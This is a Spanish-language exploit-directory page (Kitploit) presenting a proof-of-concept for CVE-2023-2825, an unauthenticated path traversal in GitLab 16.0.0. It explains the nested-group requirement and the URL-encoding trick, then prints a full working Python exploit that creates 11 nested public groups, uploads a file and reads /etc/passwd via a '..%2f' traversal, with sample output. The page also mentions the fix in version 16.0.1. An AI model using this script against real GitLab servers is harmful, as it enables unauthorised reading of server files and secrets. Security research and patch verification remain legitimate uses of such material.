Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-2825-Gitlab — el concepto de prueba escrito en Python para un usuario malintencionado no autenticado puede utilizar una vulnerabilidad de path traversal para leer archivos arbitrarios en el servidor cuando existe un adjunto en un proyecto público anidado dentro de al menos cinco grupos. Este es un problema de gravedad crítica. | Kitploit
Herramientas/GitHubGitHub/tornad0007/cve-2023-2825-gitlab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de Penetración
GitHubtornad0007/cve-2023-2825-gitlab

CVE-2023-2825-Gitlab

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

1hace 3 añosAún no revisado

el concepto de prueba escrito en Python para un usuario malintencionado no autenticado puede utilizar una vulnerabilidad de path traversal para leer archivos arbitrarios en el servidor cuando existe un adjunto en un proyecto público anidado dentro de al menos cinco grupos. Este es un problema de gravedad crítica.

Compartir

CVE-2023-2825

El 23 de mayo de 2023 GitLab lanzó la versión 16.0.1 que corrigió una vulnerabilidad crítica, CVE-2023-2825, que afecta a la Community Edition (CE) y Enterprise Edition (EE) versión 16.0.0. La vulnerabilidad permite a usuarios no autenticados leer archivos arbitrarios a través de un fallo de path traversal. Fue descubierta por pwnie en HackerOne a través del programa de recompensas por errores.

En el momento de redactar este informe, no había ninguna prueba de concepto pública disponible.

Aviso de GitLab

Un usuario malintencionado no autenticado puede usar una vulnerabilidad de path traversal para leer archivos arbitrarios en el servidor cuando existe un archivo adjunto en un proyecto público anidado dentro de al menos cinco grupos. Este es un problema de gravedad crítica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).

Subgrupos

Esta vulnerabilidad tiene un requisito interesante: el proyecto debe estar anidado en al menos 5 grupos. En nuestras pruebas, encontramos una correlación directa entre la cantidad de grupos y los directorios que se pueden recorrer. La regla parece ser N + 1, lo que significa que si deseas recorrer 10 directorios, necesitas tener 11 grupos.

En una instalación estándar de GitLab, los archivos adjuntos se cargan en /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Por lo tanto, si deseas llegar a la raíz del sistema de archivos, debes retroceder 10 directorios y, por lo tanto, necesitas 11 grupos.

Carga de archivos y Path Traversal

Cuando cargas un archivo como adjunto en un issue de GitLab, se envía una solicitud a POST - /:repo/upload. Esto devuelve una respuesta JSON con la URL del archivo, permitiéndote acceder al archivo.

La URL del archivo se compone de /:repo/uploads/:id/:file donde :file es el nombre del archivo en sí. Reemplazar :file con cualquier ruta de archivo hará que GitLab devuelva el archivo solicitado. GitLab no sanitiza esta ruta de archivo, lo que provoca path traversal.

Para explotar con éxito esta vulnerabilidad, debes codificar en URL la / en la ruta del archivo. GitLab lo leerá como un valor y lo decodificará internamente. No codificarlo hará que GitLab interprete la / en la ruta del archivo como parte de la ruta.

En nuestras pruebas, codificar solo la / fue suficiente para evitar errores de ruta de Nginx.

Autenticación

Los usuarios no autenticados solo pueden explotar esta vulnerabilidad en repositorios públicos que cumplan con los requisitos de grupos anidados. Se requiere autenticación para acceder al repositorio en sí.

Prueba de concepto

Aquí está la prueba de concepto escrita en Python. Crea los 11 grupos, crea un repositorio público, carga un archivo y luego explota la vulnerabilidad para obtener el archivo /etc/passwd.

Salida

root@kitploit:~
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh

Código

root@kitploit:~
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup


ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"

# Session for cookies
session = requests.Session()

# CSRF token
csrf_token = ""

# Ignore invalid SSL
requests.urllib3.disable_warnings()


def request(method, path, data=None, files=None, headers=None):
    global csrf_token

    if method == "POST" and isinstance(data, dict):
        data["authenticity_token"] = csrf_token

    response = session.request(
        method,
        f"{ENDPOINT}{path}",
        data=data,
        files=files,
        headers=headers,
        verify=False,
    )
    if response.status_code != 200:
        print(response.text)
        print(f"[*] Request failed: {method} - {path} => {response.status_code}")
        exit(1)

    if response.headers["content-type"].startswith("text/html"):
        csrf_token = BeautifulSoup(response.text, "html.parser").find(
            "meta", {"name": "csrf-token"}
        )["content"]

    return response


# Get initial CSRF token
request("GET", "")

# Login
print("[*] Attempting to login...")
request(
    "POST",
    "/users/sign_in",
    data={"user[login]": USERNAME, "user[password]": PASSWORD},
)

print(f"[*] Login successful as user '{USERNAME}'")


# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")

parent_id = ""
for i in range(1, 12):
    # Create group
    name = f"{group_prefix}-{i}"
    create_resp = request(
        "POST",
        "/groups",
        data={
            "group[parent_id]": parent_id,
            "group[name]": name,
            "group[path]": name,
            "group[visibility_level]": 20,
            "user[role]": "software_developer",
            "group[jobs_to_be_done]": "",
        },
    )

    # Get group id
    parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
        "button", {"title": "Copy group ID"}
    )["data-clipboard-text"]

    print(f"[*] Created group '{name}'")

# Create project
project_resp = request(
    "POST",
    "/projects",
    data={
        "project[ci_cd_only]": "false",
        "project[name]": "CVE-2023-2825",
        "project[selected_namespace_id]": parent_id,
        "project[namespace_id]": parent_id,
        "project[path]": "CVE-2023-2825",
        "project[visibility_level]": 20,
        "project[initialize_with_readme": 1,
    },
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")

# Upload file
file_resp = request(
    "POST",
    f"/{repo_path}/uploads",
    files={"file": "hello world"},
    headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")

# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")

Acciones recomendadas

GitLab recomienda actualizar todas las versiones afectadas por este problema lo antes posible.

Referencias

https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/

Descargar herramienta